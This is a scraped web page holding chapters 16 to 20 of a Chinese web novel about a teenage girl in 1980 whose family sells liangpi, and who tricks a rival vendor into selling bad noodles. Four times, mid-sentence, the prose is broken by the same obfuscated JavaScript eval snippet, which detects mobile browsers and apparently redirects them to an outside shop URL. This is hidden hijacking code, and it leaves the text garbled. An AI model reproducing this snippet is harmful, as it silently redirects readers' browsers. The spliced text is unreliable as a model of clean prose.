孙志刚一听说这凉皮竟是秦省那边的小吃,隔了这么远,难怪他都没听说过! 别觉得这会儿人见识少,现在交通不发达,信息传播渠道少,不说农村的,就是城里人,也有不少一辈子都没出过县城。 想到这,他才有些释然,等再随着少女的解释看了眼车厢里一张小方桌上的瓶瓶罐罐,通红的辣椒油、焦黄的芝麻酱、雪白的绵白糖,嚯,这么多种调料啊,难怪说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746385|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成本不低! 孙志刚一个月的工资有五十多块,三毛钱其实对他来说不算什么,再加上抱着尝尝秦省小吃、长长见识的想法,他立刻痛快地点头道:“那给我来一碗!” “好嘞,大哥能吃辣吗?陈醋要不要?” 孙志刚按照自己平时的口味要了一碗,对方动作很快,几乎没到两分钟,一碗加辣的凉皮就递到了他手中。 “大哥,我们这里买凉皮或者包子,还送一碗绿豆汤,您拿好!” 听说白送绿豆汤,他倒是觉得这小摊子挺讲究! 就是没有座位这点挺麻烦,他端着饭盒和绿豆汤,犹豫了一下,最后也学着其他人那样,坐在了马路牙子上。 他先拿起绿豆汤喝了一口,嗯,冰冰的,甜甜的,居然意外的好喝! 一口气喝了大半碗汤后,感觉浑身的暑气散了不少,他才将碗小心翼翼放在旁边,又端起手中的凉皮仔细端详起来。 试探着夹起一根沾染了红油的凉皮送入口中,立时一股子辣香直冲口腔,紧接着老陈醋的酸香和芝麻酱的浓香也不甘示弱,一股脑涌上舌尖,一下子就把他因为坐了一上午车而萎靡的食欲刺激起来了! 等再细细嚼一嚼,嚯,原来这凉皮是这样爽滑、绵软又带着点韧的口感啊,跟他想象的完全不同! 再加上更加筋道弹牙的面筋和清香爽脆的黄瓜,炎炎夏日里能吃上这一碗美味的凉皮,他心底的那些烦闷好像也通通被抛到了九霄云外! 凉皮凉皮,凉暑解热,香辣爽口,果然名副其实! 他越吃越爽口,越吃越舒心,不知不觉,这一份凉皮很快就见了底! 等看着空空如也的饭盒,他擦了把头上的汗水,突然就想大喊一声“痛快”! 这么好吃的凉皮他还能再吃一碗! 他端着饭盒和汤碗,快步走到摊子前,对方才的少女大声喊道:“小同志,麻烦你再给我来一碗凉皮!” 等再次从少女手上接过饭盒后,原本想伸筷的他忽然顿住,不行,这么好吃的东西,就应该舒舒服服地坐在屋子里,吹着风扇,开着收音机,细嚼慢咽才对! 对了,还得配上冰冰凉凉的绿豆汤! 这么想着,他立马将饭盒仔细收好,又把绿豆汤倒入自己随身带着的水杯里,收拾好东西就大步朝厂子赶去! 不过当他经过那辆漂亮的三轮车时,陡然记起自己还没看看车子这一面围帘上画的什么呢! 差点忘了,现在得赶紧看一眼! 只见雪白的布帘上用彩笔写了四个美术体大字:珍珍小吃! 看着那同样圆溜溜、胖乎乎的四个大字,以及周边可可爱爱的一群小花、小蝴蝶,孙志刚忍不住笑了。 这时髦的小车,有趣的招牌,美味的凉皮,他可算是记住这家小吃摊了! 正好明后天出差,他还要来吃凉皮! 对了,刚才那小同志说她家还卖包子,凉皮都这么好吃,包子肯定也错不了,下回一定要买两个尝尝! 16. 第十六章 等方才连买两份凉皮的人走远后,李翠英才走到苏丽珍身边小声嘀咕道:“闺女,我看刚刚那人前前后后看咱们家摊子老半天了,就刚刚人都要走了还回头看好几眼呢!你说他该不会跟对面一样,也想来偷学咱们吧?” 苏丽珍失笑,“不会的!妈,刚刚那位大叔装凉皮的饭盒上印着‘凤城收音机厂’,人家是有工作单位的!” 李翠英闻言松了口气,“我看他那穿着打扮也不太像,但是这种事谁说的准呢,老话不还说‘人不可貌相’嘛!”说罢,朝着对面的方向努了努嘴。 苏丽珍知道她说的是对面摊子那对面相忠厚热情的夫妻俩! 打从今天他们过来出摊,这两口子就时不时往这边瞄上几眼,尤其是那家的女人,目光实在称不上友好! 那个男人就更可笑了!看他们家的凉皮卖得好,居然觍着脸若无其事地凑过来,一副“哥俩好”似的拉住苏卫华拐弯抹角地套话,被苏丽珍不软不硬地怼了几句后,实在下不来台,才讪讪地走了。 可把李翠英恶心坏了! 苏丽珍就劝她道:“妈,跟这种人动气犯不上!你相信我,咱们什么都不用做,只管把咱的凉皮卖得红红火火的,让他在一边干看着,这就能把他们气个半死!” 这话对了李翠英的脾气,她忍不住拍了下手,乐道:“还是我闺女有本事,想出这么个好主意!咱这凉皮卖得是真好!本来你说今天要做一百碗,而且每碗还定了这么高的价钱,我心里还没底儿,总怕第一天要砸手里!哪成想咱来了不到两小时就卖出去八十多碗,这比当初咱卖包子那会儿还红火呢!” 凉皮的主料是面粉、黄瓜,黄瓜就不说了,张表舅现在从乡下收,据说一分钱二斤,老乡们都抢着卖! 面粉一般每斤在一毛七左右,一斤面粉差不多能做五碗凉皮。 主要成本还是在料汁上,其中辣椒油、芝麻酱和白糖占了大头,毕竟现在的油是真的又贵又难买。不过因为他们用量大,其实平摊到每一碗的成本里也就没那么高了! 再一个,人们出于好奇心理,常常会对一些新生事物抱有一定的期待,如果价格定得低了,反而破坏他们这种期待感,让他们生出一种怀疑的心理。 当然太高也不行,要是一下超过人家的心理预期太多,就该把人直接吓跑了! 所以综合目前省城人们的消费水平,以及客运站辐射的范围,她极力劝说了苏卫华夫妻,最终把每碗凉皮的价格直接定在了三毛钱。 如今看来,这个决定十分正确。 看到李翠英一扫昨日的阴霾,笑的这么开心,苏丽珍自然心情也不错。 娘儿俩说话的工夫,又有两个人被他们家小吃摊吸引,一人要了一份凉皮不说,还一个劲儿夸他们小车布置的好看。 苏卫东两口子直说都是闺女的主意,两个客人又夸苏丽珍聪明能干,两口子更是笑得合不拢嘴,多给人家加了一大勺的面筋! 眼瞅着一百多张凉皮快卖光了,剩下最后一张,李翠英就多加了面筋和黄瓜,拌成了酸甜辣口,分成两份,又从蒸屉里拿出两个包子,端给苏丽珍,让她带着去找林小麦一起吃,连带两个女孩子也说会儿话。 提起这个,夫妻俩也是郁闷。以前闺女从上了初中开始,性格就越来越“独”,见谁也没个话,整三年都没啥关系好的朋友和同学,他们俩暗地里没少发愁。 现在闺女倒是变开朗了,不管遇见啥人都能说上几句,聪明伶俐的,比他们两口子还强呢! 可这么聪明的闺女,要么一天到晚跟他们俩摆摊干活,要么就是把自己关在屋子里看书,这哪像个十六岁的小姑娘啊? 两口子又是心疼、又是发愁。难得现在有个年纪相当的林小麦,小姑娘性子大气,人也实诚,他们俩特别喜欢,看自家闺女跟人家处得不错,他们这当爹妈的自然得多支持! 两家摊子原本是紧挨着的,不过今天来买凉皮的人一直没断,他们今天带的折叠凳都没够用,许多人索性直接端着饭盒坐在马路牙子上就开吃了。 林小麦见状,就把自己的摊子往旁边挪开了七八米,给他们留出更多地方招待客人。 林小麦见苏丽珍端了那么多吃的过来,刚想开口说话,就见苏丽珍直接把手里的东西放下,然后十分自然地从她摊子上拿起了一个毛桃,自己用手绢擦了擦,就大大方方咬了一口。 林小麦嘴边的拒绝就一点点咽了回去,只默默从摊子上扒拉出好几个个头更大、颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746386|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色也红润的毛桃都推到了苏丽珍跟前。 苏丽珍也没拒绝,只是顺手把凉皮和包子递给她,“先尝尝我妈的新手艺,她说你舌头灵,也能帮她提提意见,改进改进!” 林小麦这次十分痛快地接了过来,她心里明白苏家人对她的好,她会牢牢记住这份情意,以后加倍地报答他们! 虽然知道苏家的凉皮能卖这么火,味道肯定错不了,可当林小麦吃到第一口的时候,还是瞬间就被征服了! 她念的书不多,没啥文化,也不知道该咋形容这股子酸甜咸辣的鲜活酣畅,反正就是一句话:“老好吃了!” 以前她觉得苏家婶子包的包子是她吃过最好吃的东西,可如今再吃这凉皮,这个想法突然就动摇了! 一口气吃了半碗,她才堪堪舍得停下筷子,痛快地抹了下嘴巴,不住夸赞道:“真好吃啊!这我还提啥意见啊!婶子就是厉害,这凉皮简直跟肉一样香,难怪今天头一天就这么红火!” 看她是真的很喜欢,苏丽珍也不由笑了起来:“能得你这么高的评价,我妈一定高兴得很!” 不过林小麦很快又皱起眉道:“珍珍,你家凉皮这么火,我看对面那俩到时还要打你们主意!” 她可是早就看见了,打从今天老苏家卖出去第一份凉皮开始,那边就没消停过!那两口子就差没把眼珠子甩到苏家那洋气的新三轮车上! 对于这个问题,苏丽珍眼下还真不怎么担心。 现在凉皮不比包子,不说里头的料汁配方,就是那一张张软滑筋道的面皮也不是靠想象就能做出来的。 如果事先一点流程也不懂,光指望看成品推测制作方法,那就算是李翠英这样十分有天赋的人也很难做到。 所以那对夫妻俩就算把他们家的三轮车看出两个窟窿,也看不出个所以然来。 除非他们能找到同样会做的人拜师学艺! 她一边给林小麦分析自己的思路,一边又悄悄把身前那些大个儿的毛桃送回去一半,最后留下的三个也都换成了小个儿、泛着青的。 林小麦正认真思索她的话,就没留意她手上的动作,等听完先是松了口气,不过很快又紧张起来:“那万一他们找到会做凉皮的人教他们咋办?” 17. 第十七章 苏丽珍这回没直接回答,反而话音一转:“小麦,今天我们卖出了百来碗的凉皮,其中绝大多数的客人之前连听都没听说过。” 林小麦反应也快,很快就明白了苏丽珍的意思! 连听都没听说过,那肯定吃过或者会做的人就更少了! “小麦,咱们这里是东北,天冷的早,这凉皮的生意肯定会受到影响。所以就算他们运气好找到会教的人,这一番耽搁下来,可能也到了淡季,也没多少赚头了!” 满打满算这凉皮也就能卖到十月初。毕竟以现在的生活水平,大冷天里愿意花三毛钱吃一碗冰凉的凉皮填肚子的,恐怕真没几个。 至于明年后年,她就无所谓了。毕竟凤城这么大的市场,她不可能一家独占,随着政策放宽,以后下海干个体的会越来越多,其中各种小吃摊和倒腾服装的是主力军,她不可能防住那么多人。 所以她只要确保今年这几个月能抢先攒出一波快钱,同时扬出点名气,这就足够了。 而且她也没打算一直卖凉皮。 关于未来发展,她自然还有别的计划,只是现在说还为时尚早,一切还得先看这一波凉皮的销量再说。 倒是林小麦听了她先前的话,自己稍一琢磨,也觉得确实是这么回事,不由夸道:“珍珍,还是你看得长远!亏我以前还觉得自己有几分小聪明,可和你一比,我可差得远了!” 苏丽珍刚想说话,余光里忽然瞥见对面摊子的摊主慢吞吞从副食店出来,嘴里叼着根冰棍,悄没生息地走到她们斜后方的树荫处,一屁股坐下就不走了。 不用猜也知道,肯定是看她们俩在这儿又吃凉皮、又说悄悄话的,那两口子等不及,干脆直接派人听壁脚来了! 苏丽珍唇角的笑容微冷。这对夫妻吃相太难看,之前包子的事她还没同他们计较,现在又没脸没皮打上凉皮的主意,那就别怪她算计他们了! 她不动声色地拽住了同样发现对方的林小麦,一边端起自己那份凉皮吃得津津有味,一边又不停夸起自家中午生意如何如何好。 林小麦很快反应过来,马上也收起眼中的怒色,顺着苏丽珍的话,跟着连声附和起来。 苏丽珍:“小麦,我妈答应我了,说我家现在凉皮卖得好,等过几天,她就给我买百货公司新进的连衣裙,一件要二十多块钱呢!” 林小麦故意咂舌:“真的啊!你妈对你真好,给你买这么贵的裙子!” 苏丽珍语气不无得意:“主要还是我家的凉皮卖得好,这玩意儿说是秦省小吃,其实就是擀面条而已,利润当然大了!” 林小麦点头:“难怪了,我说咋我吃着像过了凉水的面条呢!就是你们老说啥秦省秦省的,我就没敢往那边想!” 苏丽珍捂嘴笑:“傻瓜,我们老师说‘十里不同习’,咱这儿叫面条,人家在秦省就叫‘凉皮’,其实都是一个东西!都是把煮好的宽面条放凉水盆里使劲泡,等泡得凉透了,再放点辣椒、芝麻酱拌一拌!简单得很,你自己在家也能做!” 林小麦摆出一脸惊喜状:“啥,我自己也能做?不成不成,那辣椒油啥的我可整不来,那东西贵着呢。” 苏丽珍便又说:“辣椒酱也一样吃啊,主要够辣就行!我听我妈说了,等以后我们家客流稳定了,就把辣椒油大半都换成辣椒酱,这样既能省钱,也不耽误辣味儿!” 看林小麦还是有些不信,她又继续说道:“小麦,咱俩好,我就跟你说一句实话!别看那些客人把我们家凉皮夸得厉害,其实那是因为他们坐了一天车又闷又热,所以那会儿能吃上一碗又凉又辣的面条就觉得开胃又过瘾,你想想要是换成是你的话,是不是也一样这么想?” 接收到苏丽珍眼色的林小麦马上一脸恍然大悟的表情,“对啊,还真是这么回事啊!珍珍,你们家叔和婶子可真是太精明了!” 苏丽珍:“是吧!其实我妈也说了,凉皮这东西一开始大家是没听说过,可这玩意儿其实特别简单,以后大伙儿肯定慢慢就知道它是用面条做的,所以以后肯定也卖不了这么贵了,我们家就是趁现在挣一波快钱……” 说话间,她故意碰了下身前一个毛桃,等毛桃滚到身侧的空地上,在侧身去捡的时候,这才装作不经意地发现了一直在侧耳细听她们说话的摊主! 苏丽珍当即面色一变,先是狠狠瞪了那男人一眼,接着又故意对林小麦生气道:“你这看得什么摊子?附近有人你都没发现?” 那蛮横不讲理的小模样差点没把林小麦整笑了,她强装出一副不安的神情,一边使劲给苏丽珍赔不是,一边也学着她的样子瞪了对面那人一眼。 苏丽珍还是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746387|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依不饶,故意骂了她两句,端起自家的碗筷就怒气冲冲地跑回去了。 剩下林小麦自己蔫头耷脑地站在那里,好半天没敢抬头。 两个小姑娘“吵架”的动静不小,把苏卫华和李翠英也给惊动了,两口子拉着苏丽珍问是怎么回事,没想到苏丽珍又犯了“老毛病”,任他俩怎么问就是低头不做声。 而她这副“心虚”的模样落在对面摊主王老四眼里,那就是一副小孩子在外面惹了祸、回家不敢说实话的样子,一时间更是把先前偷听来的话信了十成! 之前苏家人防着他,他凑不到那车子跟前,也不知道这凉皮具体是个啥!不过他倒是看见了别人买到手的样子,那碗里所谓的凉皮,瞧着白嫩嫩、滑溜溜的,真就跟切得手指宽的面条差不多! 他想着自己这回绝对是歪打正着,摸清了对家挣钱的门道。 乖乖,一碗面条子加点黄瓜、辣椒就敢要三毛钱,关键还真有这么多人买,这得多挣钱啊! 一想到这些,他内心就一片火热,当即火急火燎地跑回去找自家婆娘商量“大计”去了! 苏丽珍冷眼看着那人急匆匆的背影,心里冷笑了一声。 但愿他们别太贪心,省得最后赔个底朝天! 第二天上午,等苏家人出摊的时候,对面王老四家果然也开始叫卖起了“凉皮”! 苏卫东夫妻俩还不知道对方这是在自家闺女的推动下才走了这一步,只以为那边是故技重施,又一心想挤兑走他们! 其实夫妻俩之前是早有准备的!昨天装凉皮的大搪瓷盆一直用纱布蒙着不说,每次切凉皮的时候也必定在围帘里头,保准不叫那没安好心的小人看去丁点皮毛! 而且李翠英也自信这凉皮手艺不是什么人远远看几眼就能学会的! 可饶是这么多心理建设,等真的看见对方这么快就没脸没皮地学起自家来,夫妻俩还是压不住心底的火! 苏丽珍好言劝了两人一会儿,趁着他们摆摊子的空档,溜到了一边。 没多久,林小麦也跟着过来了,一看见她,老远就冲她一阵挤眉弄眼。 “珍珍,我之前溜过去看了,那位还真是把你昨天的话都听进去了!今天他们连包子都没卖,到地方就先卸下一个老大的木桶,盖子一掀,里头满满登登泡的都是白面条!” 18. 第十八章 林小麦的心情显然十分好,说起话来眉飞色舞的,“你是不知道,我往他们那三轮车上扫了一眼,好家伙,这样的大木桶起码还有三、四个,这是下了血本了!” 想起那个画面,苏丽珍也不由想笑。她可真没看错人,对方果然是又蠢又贪心! 两人正悄悄说话的工夫,就听那边开始吆喝起来了:“卖凉皮嘞!正宗秦省小吃!大伙儿都来看看啊,一碗只要两毛八!” 林小麦撇撇嘴,忍不住嘟囔道:“果然又来这一招,真是够不要脸的!” 苏丽珍笑笑没说话,只让她先回去等着,也不必着急,今天别说两毛八,就是便宜到一毛八,他们也卖不出去! 果然,经过昨天一天苏家的凉皮大卖,今天还真来了不少回头客,一听说这家也卖秦省凉皮,而且一碗还便宜两分钱,一部分人难免有些意动。 可等凑过去一看,大伙儿忍不住皱眉头了! 一个四十来岁的大姐最先嚷嚷起来:“你这是啥凉皮啊!这不就是面条子吗?” 王老四赶忙道:“大姐,咱这就是凉皮!秦省那边管这就叫凉皮,一样的!” 那大姐当即眉头拧成了疙瘩,“啥玩意儿?这咋能一样呢?明明我昨天吃的凉皮就不是这样的!” 其他人也议论纷纷。 王老四忙不迭陪起笑脸:“这位大姐啊,真错不了,我肯定没骗你,这就是一个东西!那啥,您喜欢吃辣一点、还是酸一点的啊?我多给您放一勺辣椒吧,我家辣椒老香了!” 等看着王老四媳妇直接捧出一个乌漆墨黑的罐子,打开上面的盖子后,露出里面满满一下子的青红辣椒酱,那大姐整个人都不好了,连声音都尖锐了几分! “你们等会!这啥玩意儿,这不就是辣椒酱吗?好啊,你们这个黑心摊子,是真能忽悠人啊!楞把面条当凉皮,还拿辣椒酱当辣椒油对付,这不拿我们大伙儿当二傻子吗?” 旁边人也立时跟着附和起来,“对啊,这就是‘挂羊头,卖狗肉’,真当咱们没吃过凉皮是咋地!” “就这一碗还要两毛八,我看这两口子的心肝是黑透了!” 众人你一句、我一句,把王老四夫妻俩骂个狗血淋头,任凭他俩百般解释,还是没有一个人肯买他家的“凉皮”! 经过这一茬,大伙儿心中也有了对比,所有人最后都涌入了苏家的珍珍小吃。 苏卫华两口子亲眼看见总打自家主意的对手出糗,之前的郁愤立马一扫而空,又见对手亲自“送”来这么多客人,更是心情大好,干起活来越发有劲儿。 先头在王老四摊子上大发脾气的那位大姐,端着饭盒,一口酸辣微甜、清清爽爽的凉皮刚下肚,立马浑身放松似的吐出一口气,心情肉眼可见地好了起来,拉住给她送绿豆汤的苏丽珍就说个没完。 “哎呀妈呀,就是这个味!小妹妹,你不知道啊,这些日子天热,我这胃里就像堵了个东西,啥都吃不下去!这吃不好啊,心情就不好,看啥都烦,见天像个炮仗似的!可自打昨天我在你们家吃了一碗这个凉皮啊,我那个胃啊,就像被谁一下打通了!是吃完第一碗,就想第二碗!” 旁边一个五十多岁的大爷也跟着笑呵呵接话:“可不是嘛!你们家这凉皮味道是真好!不瞒你说,我昨晚回去也叫我那老婆子试着擀了点面条,过水后加点黄瓜、辣椒啥的拌一拌,可就是咋也做不出你们这个味儿来,也没凉皮那个口感!看来这真是隔行如隔山啊!” 苏丽珍便微笑着感谢众人的捧场,又让大伙儿如果想再加辣、加醋可以随时过来加料,登时又获得大家的一致好评。 有这么多“活招牌”做广告,不少从客运站出来的乘客直接被吸引过来,看其他人吃得赞不绝口,好像一点也没受这炎炎夏日的影响,再加上是从没听过的小吃,不由心动起来,也纷纷掏钱购买。 更有那先前吃完没走的客人还十分好心地叮嘱后来者:要吃正宗的秦省凉皮一定要来珍珍小吃,可千万别去对面!那就是个忽悠人的黑心骗子,可别为了省那三瓜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16746388|189919||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩枣的让人糊弄了去! 有这些热心的客人一拨儿接着一拨儿的传话,几乎绝大多数来买凉皮的人都知道了对面那家摊子是骗人的,王老四的摊子就更加无人问津了。 看着珍珍小吃这边一直源源不断的客流,王老四两口子眼珠子都红了! 可他们家坏了名声,大伙儿不愿意来,即便偶尔有那么一两个还没来得及听着内情的,跑过来一看那大桶里泡着的不过是家常的擀面条,人家没吃过猪肉,可见过猪跑啊,自然不信他们这能是正宗的凉皮! 一来二去,从上午到中午,好几个小时过去,他们还一份都没卖出去过! 到了这会儿,王老四自然也明白了,他这是着了人家的道,让那个死丫头给骗了! 可即便心里恨得要死,他也拿对方没啥办法,而且眼下最要紧的是那几大桶的面条该咋办! 因为上次卖包子尝到了甜头,所以这次他也准备大干一场,加上打着再把珍珍小吃挤走的主意,这回他可下了本钱,早起一个包子都没做,把家里所有的白面全部擀成了面条下锅。 而要命的是,这半天的时间煮熟的面条就一直在水里泡着,已经泡得全部发胀了,拿筷子一挑,软烂稀囔,都快拿不成个儿了! 这么下去,这些面条非得馊烂了不可! 两口子没办法,只好开始降价,一碗“凉皮”卖两毛! 可惜收效甚微,还是没几个人来,俩人一咬牙,只得继续往下降,一开始是一毛八,后来一毛五,到最后干脆一毛钱一碗。 因为价格便宜,不要票,加上珍珍小吃那边的凉皮已经都卖完了,食客也散了,没人再拿他们家说事,摊子上这才开始陆陆续续来了些客人。 可惜好景不长,他一桶面条还没卖出半桶呢,一个虎背熊腰的大汉就突然怒气冲冲地跑过来,指着他鼻子就破口大骂:“你个狗娘养的,你说你们卖的啥破玩意儿?我儿子吃完就又拉又吐,人都进了医院!”骂完不解气,还把那半桶面条都给踢翻了! 19、第十九章 动静闹得挺大,不少人都凑过来看热闹。 那大汉身后还跟了个头发半白的老太太,眼睛哭得通红,见大伙儿都围过来了,不由大声哭诉起来。 原来是大半个小时之前,老太太听邻居说客运站门口有卖一种叫凉皮的小吃,酸辣爽口,特别开胃,老太太寻思最近天气热,家里小孙子胃口不好,正好买一份回去尝尝。 没想到等老太太按照邻居的指点,找到那家卖凉皮的珍珍小吃摊后,人家的凉皮都已经卖完了! 老太太没买着东西,又白跑一趟,自然不甘心,赶巧就碰上王老四他们摊子上吆喝“凉皮”一毛五一碗。 老太太之前其实是听过邻居提醒的,知道这家卖的是假凉皮,可瞅着那桶里白花花的面条子,想着咋说也是白面做的,一毛五分钱就能买一大碗,比那啥没吃过的凉皮便宜了一半,感觉挺划算的,就掏钱买了一碗。 回去后,小孙子吃了几口就不爱吃了,老太太自己也觉着一般,尤其那个辣椒酱,干巴巴的,又咸又辣,一点油花也没有!别说小孩,连她都不爱吃,顿时觉得那一毛五白花了!只好撂下那碗面条,打算再给小孙子做点啥。 可没想到就她进厨房不到十分钟的工夫,小孙子就来了病!先是哇哇吐了一地,跟着又捂着肚子使劲喊疼,可把老太太吓坏了!火急火燎地抱起孩子上了医院,又赶紧打发了老头子去厂子里把儿子、儿媳叫了回来。 “大夫说是吃坏了东西,得了急性肠胃炎,现在就在医院里挂水呢!都是这个丧良心的卖的‘假凉皮’,可坑死人了!哎呦,我的心肝肉啊,这回可遭了老大罪了!” 老太太一把鼻涕、一把泪,显见是真伤心,惹得周围几个上了岁数的大爷大妈也跟着唏嘘不已,都忍不住出声道:“虽说你不该贪小便宜,但是他卖东西吃坏了人,那说破天也是不占理!” 王老四两口子心虚又害怕,可也知道这时候说啥也不能承认是自家卖的吃得有问题,王老四媳妇就梗着脖子喊道:“话可不是这么说的!谁知道你们在家都给孩子吃啥东西了?凭啥出了事就赖我们?要我说,指不定是你们借着机会故意讹我们呢!” “放屁!你们算个啥,老子犯得着讹你们?”这话可把大汉气得够呛,抡起拳头就要上前揍人! 这会儿的人还都比较热心肠的,周围看热闹的人一见大汉真动了怒,赶忙上前将人拉住! “小伙子,别动手,有话好好说,要不有理也变没理了!” 这时,一个戴着眼镜的老大爷主动走到那被踢翻的半桶面条前,伸手捞起一把泡得稀烂的面条,仔细闻了闻,最后皱眉道:“这泡面条的水是生水!” 他这么一说,众人登时就明白了!王老四摊子上的面条一直在桶里泡着,这么热的天,如果不勤换水,就是用烧过的凉白开都不一定能保证不出问题,更何况这黑心的两口子还用的生水! 想想这半天的工夫,里头指不定滋生了多少细菌,难怪会吃坏人! “我的妈呀,这也太缺德了!骗人也就算了,还这么不卫生,这不就是明摆着坑人吗?真是心肝都黑透了!” “哎,看那面条都成糊了,白瞎这么好的粮食了!真是作孽啊!” 一时间,众人指责声纷纷四起。 眼见王老四两口子被当众抓了包,那大汉越发气势上涨,上前一把薅住王老四的衣领子,恶狠狠道:“今天你必须给我儿子一个说法!要么你就赔钱,要么你就跟我上派出所,要不然这事没完!” 王老四一听说要去派出所,魂都差点吓丢了,这回也不硬挺着了,赶忙堆起一脸谄笑,低声下气道:“大哥、大哥,好说好说,只要咱不去派出所,一切都好说!” 这场闹剧最终以王老四两口子赔给大汉一家五十块钱告终。 在凤城市平均月工资不足三十块的八零年,这可不是一笔小数目。掏完了钱,王老四两口子整个人也像被掏空了一般,差点站都站不住了! 可就算这样,那大汉临走时,还恶狠狠地放话:“今天算便宜你们了!要是我儿子能尽快好起来也就算了,要不然他在医院住几天,我就折腾你们几天!” 周围知道前因后果的人更是一直对他们指指点点,甚至有不少之前在王家买过包子的人听说了这事后,也是满脸后怕! 更有人当场表示:“我就觉得他们家包子馅儿有问题,那肉一点也不新鲜,一股子哈喇味!味道更是比珍珍小吃家差远了!反正我只买过那一回,幸好我没贪便宜,不然指不定我们家也要像那家孩子似的吃坏了肚子呢!”一副极有先见之明的样子。 旁边人自然也不甘示弱:“我知道,我们家也是珍珍家的常客,他们家的包子用料新鲜,个大又好吃,虽说贵了两分钱,但咱吃得也放心啊!还是老话不假,一分钱,一分货!” 这些话传到王老四两口子耳朵里,更是剜心割肉一样难受。 他们明白,自家这摊子今后是再不能在这儿摆了! 王老四媳妇看着车里那另外三大桶满满登登的面条,想着这前前后后的损失,更是直接瘫坐在地上,嚎啕大哭起来。 只可惜周围没有任何人同情他们。 王老四不想再继续丢人,强挺着胡乱收拾了一通,拽起地上大哭的婆娘,推着车子磕磕绊绊地开溜了。 临走前,还不忘恶狠狠地瞪了站在人群里的苏丽珍一眼。 看着那两口子灰溜溜地逃了,林小麦又是解气、又是高兴,不过想起刚刚王老四临走前那恶意的眼神,她还是忍不住担心道:“珍珍,我看那王老四一定不会就这么算了,你们以后还是要注意一点!” 苏丽珍点了点头,“放心吧,我心里有数,以后会小心的!” 她上辈子在米国那几年,一直在底层社会苦苦煎熬,像王老四这样的人见得多了。 这种人能力没多少,野心却不小。就说这次,固然是苏丽珍有意算计,可如果不是他太过贪心,也不会造成这么大的损失。 甚至如果他能在被人揭穿卖“假凉皮”的第一时间,懂得适可而止,重新定一个合理的价格,老老实实卖他的面条,那他今天说不定还能小赚一笔! 当然,这种人心思不正,连最起码的食品安全都做不到,就合该落得这么个损失惨重的下场! 不过她也不会轻敌就是了,只要王老四还敢朝他们家伸爪子,她保证给他齐刷刷剁掉!《 》 20、第二十章 听她心里有数,林小麦也放心不少,“那就好,小心点总归没毛病!尤其是叔和婶子,一看就是老实人,你也得嘱咐他们多防着点!” 提起这茬,苏丽珍却有点头疼。 设计王老四这事,她还没来得及跟父母两人说,就是因为不确定父母会不会赞同她这样做。 苏卫华和李翠英一直坚持与人为善,甚至遇事习惯主动退让。就比如之前王老四恶意挤兑他们,这俩人也只是生气王老四太过分,却从来没想过要做点什么报复回去。 她害怕在爸爸妈妈眼中,自己成了一个睚眦必报、工于心计的女儿,让他们觉得陌生,或是嫌弃她太能惹事;又担心夫妻俩一直看不透这弱肉强食的世界本质,太过软弱,一旦哪天自己照顾不到,就会遭到反噬…… 这时候,周围看热闹的人议论了一阵儿后,因为王老四两口子离开,谈兴也渐渐淡了,便陆续散了。 两个女孩子也准备回去,可没想到当苏丽珍转过身,看见身后站着的人时,登时头皮一紧! 林小麦没发现苏丽珍的异样,只率先笑着打招呼:“婶子,你也过来了,咋没喊我们俩一声啊!” 原来李翠英不知道啥时候过来的,这会儿就站在两个女孩身后。 李翠英先是意味深长地看了苏丽珍一眼,然后才对林小麦说道:“我本来是想喊你们回去的,结果看你们俩一直在说话,我就没打扰你们!” 李翠英的目光让苏丽珍有些紧张。 等母女俩一起回到自家摊子时,锅里最后十来个包子也卖得一干二净,苏卫华把东西都收拾好,正张罗着要回家。 回去的路上,苏卫华因为今天的生意好,加上看到王老四自食恶果,心情特别好,这一路话都比平常多。 倒是李翠英一反常态,几乎没怎么开口。 苏丽珍心中更加惴惴,不自觉把衣兜里的别针摁了好几次。 一进家门,李翠英二话不说就把父女俩一起叫进了屋里,转头第一句就问苏丽珍:“说吧,今天这到底是咋回事?” 